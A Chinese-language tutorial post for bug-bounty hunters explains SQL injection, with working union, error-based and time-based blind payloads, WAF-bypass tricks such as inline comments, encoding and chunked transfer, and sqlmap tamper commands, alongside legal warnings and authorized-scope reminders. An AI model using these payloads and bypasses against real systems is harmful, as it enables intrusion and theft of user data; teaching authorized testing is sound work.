上期回顾 :我们用 XSS 偷了 Cookie,用 CSRF 改了密码。今天要聊的是漏洞界的"常青树"------SQL注入(SQLi)。
如果说 XSS 是小偷小摸,那 SQL 注入就是直接开着卡车进了金库。💰
一、什么是 SQL 注入?(通俗版)
想象一下,你去餐厅点餐。
正常情况:
你对服务员说:"我要一份牛排(id=1)。"
服务员原话复述给厨房:SELECT * FROM food WHERE id = 1;
注入情况:
你对服务员说:"我要一份牛排,顺便把你们老板的账本拿来(id=1 AND 1=1)。"
服务员是个傻子,原封不动传给厨房:SELECT * FROM food WHERE id = 1 AND 1=1;
结果:账本(数据库)被你看到了。
二、SRC 实战中的三大杀招
在现在的 SRC 中,单纯的 ' or 1=1 --很难见了,厂商都有防火墙(WAF)。我们需要更精细的手法。
1. 联合查询(Union Base):最直观的"拖库"
适用场景:页面有"回显",即能把数据库里的数据打印在网页上。
实战案例 :某新闻站 news.php?id=1
-
Step 1: 测字段数
不断尝试
order by 1, 2, 3...news.php?id=1 order by 5(正常)news.php?id=1 order by 6(报错)结论:表有 5 个字段。
-
Step 2: 爆数据
news.php?id=-1 union select 1,2,3,4,5(把 id 设为 -1 是为了让前半句查空,显示后半句的结果)
页面上出现了数字
2和3,说明这两个位置可以显示数据。 -
Step 3: 拿管理员密码
news.php?id=-1 union select 1,username,password,4,5 from admin结果:页面上直接显示了管理员的账号和密码(通常是MD5加密)。
2. 报错注入(Error Base):不需要回显的"窃听"
适用场景:页面不显示数据,但会告诉你"SQL语句执行错误"。
经典函数 :updatexml(), extractvalue()
-
Payload:
sql' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) -- -
解释:
-
updatexml本来是用来修改XML的。 -
我们给它传了一个错误的格式
(~),它会报错。 -
报错的时候,它会把括号里
(select database())的结果(当前数据库名)吐出来。
-
3. 盲注(Blind Injection):最磨人的"猜谜"
适用场景:页面只显示"正常"或"异常",没有具体数据,也不报错。
原理:问数据库是不是"对"的。
if(1=1, sleep(5), null)------ 如果是真的,就睡5秒。
-
实战:
你输入:
id=1 and if(ascii(substr(database(),1,1))=115,sleep(5),null)如果页面卡了5秒,说明数据库名的第一个字母 ASCII 码是 115(即 's')。
SRC提示 :盲注太慢,容易被封 IP,但在WAF 严格的情况下,这是唯一的出路。
三、绕过 WAF 的"猥琐流"技巧
现在的 SRC 都有云 WAF(阿里云盾、腾讯云盾),直接 union select会被秒拦。
1. 注释符大法
sql
/*!50001 union*/ select -- 版本内联注释,欺骗老版本解析器
union/*!--+/*%0a/*//*!select*/ 1,2,3
2. 编码绕过
-
URL编码 :
%75%6e%69%6f%6e(union) -
十六进制 :把表名
admin转换成0x61646d696e。
3. 分块传输(Chunked Transfer)
这是绕过 关键词过滤 的神技。
原理:把 POST 数据包拆成一小块一小块发给服务器,WAF 拼不起来,就检测不到 union select,但后端 PHP/JAVA 会把它拼起来执行。
- 工具 :Burp Suite 插件
Chunked coding converter。
四、SQLMap 的正确打开方式(SRC 专用)
新手才直接 sqlmap -u url,老手都是这样玩的:
-
伪装身份:
bashsqlmap -u "url" --random-agent --delay 1(随机 User-Agent,延迟1秒,防止被封 IP)
-
指定参数:
bashsqlmap -u "url" -p "id" --level 3(只测 id 参数,减少流量噪音)
-
Tamper 脚本(绕过 WAF 的核心):
bashsqlmap -u "url" --tamper=space2comment,charencode
五、SRC 报告里的"加分项"与"雷区"
| 行为 | 结果 |
|---|---|
| 只报 Root 权限 | 厂商喜欢,给钱爽快。 |
**报 information_schema** |
厂商会骂你,因为这是系统库,没什么用。 |
| **读写文件 (into outfile)** | **高风险!** 未经授权尝试写文件可能导致你被请去喝茶(违法)。 |
| 拖取大量真实用户数据 | **绝对禁止!** 证明漏洞存在即可,切勿泄露用户隐私。 |
正确做法:
证明你能读取 admin表的用户名即可,或者读取系统版本。截图打码,保护用户数据。
六、互动与思考
💬 互动话题:
大家在挖 SQL 注入时,遇到过最奇葩的 WAF 拦截页面是什么样的?是直接把 IP 封了,还是返回一首诗?😂
⚠️ 法律红线警示
-
严禁 利用 SQL 注入漏洞进行"拖库"(下载大量用户数据),这涉嫌侵犯公民个人信息罪。
-
严禁 尝试
drop table、into outfile等具有破坏性或写入权限的操作。 -
验证即可:只需证明可以读取数据库名、版本号或少量非敏感数据即可停止。
-
授权测试:所有测试必须在 SRC 平台报备的资产范围内进行。
**白帽子的底线是保护数据,而不是窃取数据。做一个有操守的技术人。** 🙏
下一期,我们将聊聊 **"文件上传与解析漏洞"** ------ 如何把一张图片变成控制服务器的"特洛伊木马"?敬请期待!